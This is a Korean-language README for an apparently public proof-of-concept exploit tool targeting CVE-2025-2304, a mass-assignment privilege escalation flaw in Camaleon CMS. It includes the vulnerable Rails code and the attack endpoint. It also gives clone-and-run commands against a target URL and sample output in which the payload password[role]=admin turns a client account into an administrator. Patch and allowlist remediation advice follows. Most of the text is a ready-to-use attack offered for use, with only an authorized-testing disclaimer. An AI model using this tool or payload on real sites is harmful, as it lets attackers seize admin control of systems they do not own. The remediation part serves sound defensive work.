
CVE-2025-2304에 대한 개념 증명 — Camaleon CMS에서의 심각한 (CVSS 9.4) 대량 할당 권한 상승 취약점
CVE-2025-2304에 대한 개념 증명(PoC) 익스플로잇입니다. 이는 Camaleon CMS의 중요한 질량 할당 취약점으로, 낮은 권한의 사용자가 관리자로 권한 상승할 수 있게 합니다.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304는 Camaleon CMS의 UsersController에 있는 updated_ajax 메서드에서 발견된 중요한 질량 할당 취약점입니다. 이 취약점은 Rails의 위험한 permit! 메서드를 사용하여 모든 매개변수를 필터링 없이 통과시키는 데서 비롯됩니다.
이 PoC는 낮은 권한을 가진 인증된 사용자가 비밀번호 변경 작업 중에 승인되지 않은 매개변수를 주입하여 관리자 역할로 권한 상승할 수 있는 방법을 보여줍니다.
CVSS 점수: 9.4 (치명적)
취약한 코드는 params.require(:user).permit!를 사용하여 모든 사용자 제공 매개변수를 검증 없이 수락합니다:
def updated_ajax
user_params = params.require(:user).permit! # 위험!
current_user.update(user_params)
end
공격자는 합법적인 비밀번호 변경 필드와 함께 user[role]=admin과 같은 추가 매개변수를 주입하여 애플리케이션이 사용자의 역할을 관리자로 업데이트하도록 만들 수 있습니다.
공격 벡터:
/admin/users/{id}/updated_ajax로 전송user[role]=admin 매개변수 주입--no-password-field 플래그git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
또는 수동 설치:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target 대상 URL (예: http://target.com)
required arguments:
-u, --username 인증을 위한 기존 사용자 이름
-p, --password 사용자 비밀번호
optional arguments:
-h, --help 도움말 메시지 표시 및 종료
-v, --verbose 상세 출력 (모든 요청 표시)
--proxy PROXY 트래픽 검사를 위한 HTTP 프록시 (예: http://127.0.0.1:8080)
--no-password-field 비밀번호 필드 없이 익스플로잇 테스트 (가장 안전)
--skip-admin-test 파괴적 관리자 비밀번호 재설정 테스트 건너뛰기
비밀번호를 유지하면서 기존 사용자 자격 증명으로 테스트:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
익스플로잇 페이로드에 비밀번호 필드를 포함하지 않고 테스트:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Burp Suite를 통해 트래픽을 라우팅하여 수동 검사:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
모든 요청과 응답을 보여주는 상세 출력 활성화:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
권한 상승만 테스트하고 관리자 비밀번호 재설정은 건너뛰기:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS 권한 상승 PoC
질량 할당 취약점 테스터
저자: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] 대상: http://target.com
[*] 사용자 이름: testuser
[*] 비밀번호: **********
[*] testuser로 로그인 중...
[+] 로그인 성공
[*] CMS 버전 확인 중...
[*] 탐지된 버전: 2.9.0
[+] 버전이 취약함 (< 2.9.1)
============================================================
[*] CVE-2025-2304 질량 할당 취약점 테스트 중
============================================================
[*] 대상 사용자: testuser (ID: 7)
[*] 현재 역할: Client (client)
[*] 비밀번호는 변경되지 않습니다.
[1/7] 테스트: AJAX 엔드포인트 - user[role]
✗ 실패
[2/7] 테스트: AJAX 엔드포인트 - password[role]
============================================================
[+] 익스플로잇 성공!
============================================================
[+] 권한 상승: Client → Administrator
[+] 취약한 엔드포인트: /admin/users/7/updated_ajax
[+] 작동 페이로드: {'password[role]': 'admin'}
[+] 비밀번호 변경되지 않음: 사용자가 정상적으로 로그인 가능
[+] CVE-2025-2304 확인됨!
[✓] CVE-2025-2304 취약점 확인됨
| 버전 | 상태 |
|---|---|
| < 2.9.1 | ❌ 취약함 |
| ≥ 2.9.1 | ✅ 패치됨 |
구체적으로 취약한 버전:
버전 2.9.1 이상으로 업그레이드
gem update camaleon_cms
사용자 계정 감사
/users/*/updated_ajax에 대한 의심스러운 POST 요청 확인비밀번호 재설정 강제 (침해된 경우)
안전한 코드 패턴:
위험한 permit!를 명시적 허용 목록으로 대체:
# 이전 (취약함)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# 이후 (안전함)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
추가 보안 조치:
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
법적 고지:
윤리적 사용:
d3vn0mi
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
기여, 이슈, 기능 요청은 언제나 환영합니다!
이슈 페이지를 확인해 주세요.
이 프로젝트가 도움이 되었다면 ⭐을 눌러 주세요!
참고: 이 저장소는 보안 연구 및 교육 목적을 위한 것입니다. 항상 책임 있는 공개를 실천하고 테스트 전에 적절한 승인을 받으십시오.